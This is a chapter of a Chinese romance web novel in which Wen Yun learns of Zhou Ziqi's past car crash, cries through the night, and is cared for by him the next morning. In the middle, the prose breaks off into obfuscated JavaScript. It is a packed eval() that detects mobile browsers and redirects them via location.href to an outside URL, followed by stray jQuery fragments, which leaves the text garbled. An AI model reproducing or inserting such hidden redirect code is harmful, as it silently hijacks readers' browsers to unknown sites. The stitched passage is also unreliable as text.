温允抿了下唇,一时之间不知道要怎么圆这个乌龙。
就在这时,她无意间注意到,阳台落地窗外有月光流淌进来,将未开灯的房间照亮,在地板上斜斜地铺了层清透浅淡的光。
她顺着月光的方向往上看,发现窗外的云雾不知什么时候散开了,一轮满月悬挂在夜空中。
“月亮出来了。”温允唇角弯起,借此扯开话题,“你看。”
她说着飞快地看了周自祁一眼,又转过去看月亮。
周自祁看着她,懒懒地应道:“嗯。”
“你说明天会不会放晴啊?”
周自祁:“可能吧。”
他的声音听起来懒懒淡淡的,视线一直放在温允身上,并没有去看窗外的月亮。
温允疑心他倦了,于是说:“我看时间也挺晚的了,你应该累了,就不打扰你休息了。”
温允并不知道,自己此刻的眼睛里清亮一片,装满了月亮的颜色。
周自祁没吭声,仍盯着她看,眼眸漆黑。
两人距离靠得有些近,温允能闻到他身上沐浴露的味道,清新的薄荷中混杂着淡雅的木质香调,很好闻。
好一会没听到回应,温允担心周自祁会重提刚刚的话题,紧张地掐了掐掌心。
好在过了须臾,周自祁轻点了下头:“行,卫生间里有一次性用品,要是少了什么,跟我说。”
这话像是赦免,温允唇角一松,笑得极甜,一双眼睛更是亮得不成样子:“好。”
周自祁眸光微微一动,对视顷刻,最后什么也没说,回了自己房间。
关上房门,温允懊恼地敲了下自己的脑袋,真是有够能胡思乱想的,还好暂时糊弄过去了,就是不知道明天周自祁睡醒,会不会再找她算账。
到时要怎么跟他解释。
温允叹了口气,觉得自己太沉不住气了,下次应该等到确定对方有那个意思再作出回应。
可那是什么时候?
脱衣服的时候吗?
会不会太迟?
万一她没把持住呢?
温允想到周自祁半裸的身体,块块分明的腹肌,猛地摇摇头,都怪国外开放的性文化,待了几年,搞得她也有点被同化了。
温允决定先去洗个澡,让自己冷静下来。
她从行李箱拿出换洗衣物进了浴室,发现里面空间很大,快赶上一间普通卧室,旁边竟然还连着个五六平方大小的衣帽间。
别墅就是不一样,连客卧都有衣帽间。
温允洗完澡出来,将行李箱放到衣帽间,稍微整理了下,坐到沙发上。
想到周自祁今天下午的症状,她上网查了一下,出来的答案非常笼统,可能是心肺方面的疾病,也可能是神经系统疾病,还有可能是精神心理因素导致的。
她今天问了周自祁两回,他都避重就轻,也不知道什么时候还会发作。
温允实在不放心,思忖片刻,给崔则发了条消息。
温允:【睡了吗,问你个问题。】
崔则手机几乎不离手,秒回:【没呢,这才几点。】
崔则:【嫂子想问什么尽管问,我保证知无不言,言无不尽!】
温允斟酌着怎么说比较恰当,慢腾腾地敲下字:【是关于周自祁的,他今天下午身体不舒服,胸闷喘不上来气。】
崔则:【什么?!】
崔则:【喘不上来气!】
温允:【现在没事了。】
温允刚发出去,聊天框又弹出两条新消息。
崔则:【医生怎么说?】
崔则:【在哪个医院,我现在过去。】
温允:【他不肯去医院,说是老毛病了。】
温允:【我就是想问问你,知不知道是什么情况?】
这回,等了得有十几秒,崔则才回复消息。
崔则:【该不会是那场车祸的后遗症吧。】
看到“车祸”二字,温允心脏猛地收紧。
周自祁出过车祸,什么时候的事,她怎么一点也不知道。
温允:【什么时候的事?】
温允:【严重吗?】
与此同时,主卧落地窗前。
周自祁慵懒地靠在沙发椅里,脸部线条半陷在阴影里,垂落的指尖衔着一支烟。
他抬起抽了一口,青白烟雾袅袅升起,扑进他晦暗不明的黑眸里。
窗外月色空明,他却盯着虚无处,不知在想什么。
这时,放在茶几上的手机响起微信提示音,他瞥一眼,拿起来,顺手将烟碾灭在烟灰缸里。
崔则:【祁哥,你没事吧?】
崔则:【我听嫂子说你身体不舒服,现在怎么样?】
周自祁顿了顿,没想到温允会告诉崔则。
周自祁淡淡:【没事。】
崔则:【是不是那次车祸的后遗症?】
崔则:【不过怎么会胸闷喘不上来气?】
没等周自祁回复,崔则的消息接二连三地蹦出来。
崔则:【难道是创后应激?】
崔则:【你在家吧,我现在过去。】
。:【别,我要休息了。】
崔则:【我去看看你啊,嫂子很担心你,说你不肯去医院,担心得都睡不着觉。】
周自祁知道崔则这人说话爱添油加醋,不过看到温允很担心他,还是不自觉勾了勾唇角。
。:【温允在这边。】
。:【你跟她说车祸的事了?】
崔则:【不能说?】
换作是之前,周自祁巴不得让她知道,想看看她是什么反应,但今晚见到她掉眼泪,周自祁不愿再害她伤心难过。
。:【都是过去的事了。】
想到崔则那张嘴,周自祁怀疑:【你已经说了?】
崔则发了个“小黄人捂嘴”的表情包。
崔则:【没有没有,我睡觉了,明天再去看你。】
以周自祁对他的了解,这完全是心虚的表现。
崔则:【晚安,祁哥,我爱你。】
。:【……】
另一边,温允握着手机的指尖微微收紧。
崔则:【嗯,很严重,差点没救回来,我现在想起来都心有余悸。】
崔则:【就六年前圣诞节,他不是去伯明翰找你么,回来的路上被一酒驾司机撞了,在ICU昏迷了一个多星期。】
崔则:【伤得最重的是右手,粉碎性骨折,医生说以后正常生活都可能成问题,他硬是复健了近一年。】
温允的心忽然间抽痛,咬住了自己的嘴唇。
说要去睡觉的崔则:【剩下的你自己问他,可别跟他说是我告诉你的。】
温允放下手机,整个人都在无意识地发抖。
都是她的错,如果那天周自祁没去找她,就不会在回去的路上遇到车祸,差点死掉。
她当时还把负面情绪发泄到他身上,只考虑到自己的心情,真是差劲到了极点。
想到周自祁今天发作时失控濒死的痛苦,温允蜷坐在沙发上,满心愧疚,眼泪无声滑落。
也不知道这样的痛苦,这些年他经历了多少次,是不是每次发作都像今天这么难受。
温允抑制不住的心疼,反复想着如果周自祁那天没有去找她就好了。
如果可以回到过去,她宁愿不要遇到他,也不想他经历这些痛苦。
这一夜,温允辗转反侧,一会想到他爷爷说的话,让她别伤害周自祁,一会想到周自祁那句轻描淡写的“很久没画了,适应了一段时间”,一会想到他一个人躺在重症病房里,一会想到他一个人在异国他乡复健近一年,泪水无声无息地打湿了枕头。
现实混合梦境,画面不断切换,直到天微微亮,她才迷迷糊糊地睡过去。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247430|180205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
两个小时后,又在闹钟声中惊醒过来。
温允睁开肿胀发疼的眼睛,对着陌生的天花板呆了几秒,才记起自己现在在周自祁的别墅里。
她起床洗漱完出房门,发现周自祁已经起来了,穿戴整齐,坐在阳台上悠闲地喝着咖啡。
温允有种出现幻觉的不真实感,本以为他会是睡到中午才起的类型,没想到起这么早。
他上高中的时候,不是每天都睡不够,整天都在补觉么?
怎么现在不用读书了,反而起这么早?
其实周自祁也不是每天都这么早起,他平时的作息时间跟温允差不多,只是昨晚奇怪地一宿安眠,天亮自动醒了,干脆就起来了。
听见脚步声,周自祁端着咖啡瞧过去,看见温允穿着宽松软糯的半边绒睡衣,头发有点凌乱,脸上粉黛不施,皮肤很白。
似乎刚睡醒还没有彻底清醒,脸上带点儿懵懂的困意。
有种说不出来的可爱。
他唇角微微上勾,道一声:“早。”
“早。”温允发现他心情似乎很好。
餐厅的桌子上摆着加热过的三明治,一杯热牛奶,还有一只装着草莓蓝莓的白瓷碗。
看起来应该是周自祁一大早自己动手做的,温允更恍惚了,怀疑自己是不是在做梦。
“不用去工作室?”可能是见她对着早餐发了太久的呆,周自祁起身走过来,提醒她。
温允用力掐了下自己的胳膊,好疼。
不是做梦。
温允略微清醒了些,抬脸对上周自祁深邃的眼:“不去也可以。”
反正没有客户约见面,最近的主要工作是给自己的品牌设计些新款,在家也一样能做。
周自祁本来在笑她的小动作,把自己掐疼后脸微微皱起的小表情,以前上课犯困的时候她也爱这么干。
下一秒却压下眼睫,盯着她的眼睛,脸上的笑意消失得干干净净。
“你眼睛怎么回事?”
温允下意识侧过脸,仓惶抬手遮了下:“没什么,我一哭眼睛就这样。”
她看向三明治,若无其事地问:“你做的?”
周自祁不在意地“嗯”了声,说回她的眼睛:“昨天吃晚饭的时候不是好好的?”
“可能是水喝多了吧。”温允随便掰扯了个理由,“哭过加上水肿,过一会应该就好了。”
周自祁沉默几秒,瞥了眼餐桌上的三明治:“先吃早餐吧。”
温允本来是过来照顾他的,没想到自己反倒成了坐享其成的那个,有些不好意思:“中午我来做,你想吃什么?”
周自祁平淡:“再说吧。”
“你吃过了吗?”温允的视线有意无意地往他右手上扫,现在是完全看不出来受过伤。
周自祁:“嗯。”
温允拉开椅子坐下,视线却一直跟随着周自祁,见他回到阳台,拿出手机玩了一会,又继续晒着太阳喝咖啡。
她心不在焉地咬了口三明治,发现味道还不错。
可她胸口闷闷的,半点高兴不起来。
周自祁竟然还会做三明治。
六年的时间确实改变了很多事情。
吃完早餐,温允洗着餐盘,门铃忽然响了,周自祁起身去开门,不一会手里提着个购物袋进来。
温允看袋子上面写着某个药店的名字,心里不由得打了个突。
正想问,周自祁比她快了一步:“洗好过来找我。”
温允动作一顿,没来及开口,周自祁已经迈着长腿往客厅去了。
温允快速洗好碗,走到沙发旁。
周自祁瞥了眼旁边的位置:“坐。”
温允顺着话意乖乖坐下,看着周自祁将医用的冰袋细致地包到毛巾里,递过来:“敷一下。”
温允眨了眨眼,没等她伸手,又听见周自祁说:“要我帮你?”